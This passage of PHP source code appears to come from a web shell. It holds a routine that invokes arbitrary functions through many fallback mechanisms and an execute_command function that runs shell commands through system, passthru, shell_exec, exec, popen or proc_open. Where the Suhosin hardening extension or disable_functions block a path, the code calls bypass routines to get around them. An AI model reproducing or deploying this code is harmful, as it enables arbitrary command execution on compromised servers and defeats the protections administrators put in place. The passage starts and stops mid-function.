array_walk($x, $function);
} else if (disabled_php("array_filter") == False) {
array_filter(array($arg1, $arg2), $function);
} else if (disabled_php("register_shutdown_function")) {
register_shutdown_function($function, $arg1, $arg2);
}
}
} else if ($arg1 != null) {
if (disabled_php("call_user_func") == False) {
$return_value = call_user_func($function, $arg1);
} else if (disabled_php("call_user_func_array") == False) {
$return_value = call_user_func_array($function, array($arg1));
} else if ((version_compare(PHP_VERSION, '5.0.0') >= 0) && (disabled_php(null, "ReflectionFunction") == False)) {
$ref_function = new ReflectionFunction($function);
$handle = $ref_function->invoke($arg1);
if (is_string($handle)) {
$return_value = $handle;
} else {
$return_value = fread($handle, 4096);
pclose($handle);
}
} else if ($output_needed == False) {
if ((version_compare(PHP_VERSION, '5.1.0') >= 0) && (disabled_php(null, "ArrayIterator") == False)) {
$it = new ArrayIterator(array(""));
iterator_apply($it, $function, array($arg1));
} else if (disabled_php("register_tick_function") == False) {
declare(ticks=1);
register_tick_function($function, $arg1);
unregister_tick_function($function);
} else if (disabled_php("array_map") == False) {
array_map($function, array($arg1));
} else if (disabled_php("array_walk") == False) {
$x = array($arg1, $arg2, $arg3);
array_walk($x, $function);
} else if (disabled_php("array_filter") == False) {
array_filter(array($arg1), $function);
} else if (disabled_php("register_shutdown_function")) {
register_shutdown_function($function, $arg1);
}
}
} else {
if (disabled_php("call_user_func") == False) {
$return_value = call_user_func($function);
} else if (disabled_php("call_user_func_array") == False) {
$return_value = call_user_func_array($function, array());
} else if ((version_compare(PHP_VERSION, '5.0.0') >= 0) && (disabled_php(null, "ReflectionFunction") == False)) {
$ref_function = new ReflectionFunction($function);
$handle = $ref_function->invoke();
if (is_string($handle)) {
$return_value = $handle;
} else {
$return_value = fread($handle, 4096);
pclose($handle);
}
} else if ($output_needed == False) {
if ((version_compare(PHP_VERSION, '5.1.0') >= 0) && (disabled_php(null, "ArrayIterator") == False)) {
$it = new ArrayIterator(array(""));
iterator_apply($it, $function, array());
} else if (disabled_php("register_tick_function") == False) {
declare(ticks=1);
register_tick_function($function);
unregister_tick_function($function);
} else if (disabled_php("array_map") == False) {
array_map($function, array());
} else if (disabled_php("array_walk") == False) {
$x = array();
array_walk($x, $function);
} else if (disabled_php("array_filter") == False) {
array_filter(array(), $function);
} else if (disabled_php("register_shutdown_function")) {
register_shutdown_function($function);
}
}
}
return $return_value;
}
function execute_command($command, $software_check = False) { //this is also used to check for installed softwares
if ($software_check == True) {
if (($_SESSION["windows"]) == True) {
$command = "where $command";
} else {
$command = "which $command";
}
}
if (disabled_php("system") == False) { //not disabled by disable_functions
ob_start();
if (disabled_suhosin("system") == False) { //not disabled by Suhosin
system($command);
} else { //disabled by Suhosin
bypass_suhosin("system", $command, null, null, null, null, False);
}
$return_value = ob_get_contents();
ob_end_clean();
} else if (disabled_php("passthru") == False) {
ob_start();
if (disabled_suhosin("passthru") == False) {
passthru($command);
} else {
bypass_suhosin("passthru", $command, null, null, null, null, False);
}
$return_value = ob_get_contents();
ob_end_clean();
} else if (disabled_php("shell_exec") == False) {
if (disabled_suhosin("shell_exec") == False) {
$return_value = shell_exec($command);
} else {
$return_value = bypass_suhosin("shell_exec", $command);
}
} else if (disabled_php("exec") == False) {
if (disabled_suhosin("exec") == False) {
$return_value = exec($command);
} else {
$return_value = bypass_suhosin("exec", $command);
}
} else if (disabled_php("popen") == False) {
if (disabled_suhosin("popen") == False) {
$handle = popen($command, "r");
} else {
$handle = bypass_suhosin("popen", $command, "r");
}
$return_value = fread($handle, 4096);
pclose($handle);
} else if (disabled_php("proc_open") == False) {
if (disabled_suhosin("proc_open") == False) {
$process = proc_open(
$command,
array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w"),
),
$pipes
);
} else { //this gave me a headache so I will check it out later
/*
echo "proc_open-suhosin";
$process = bypass_suhosin(
"proc_open",
$command,
array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w"),
),
$pipes);*/
}
$stdout = stream_get_contents($pipes[1]);
$stderr = stream_get_contents($pipes[2]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
if ($stderr == "") {
$return_value = $stdout;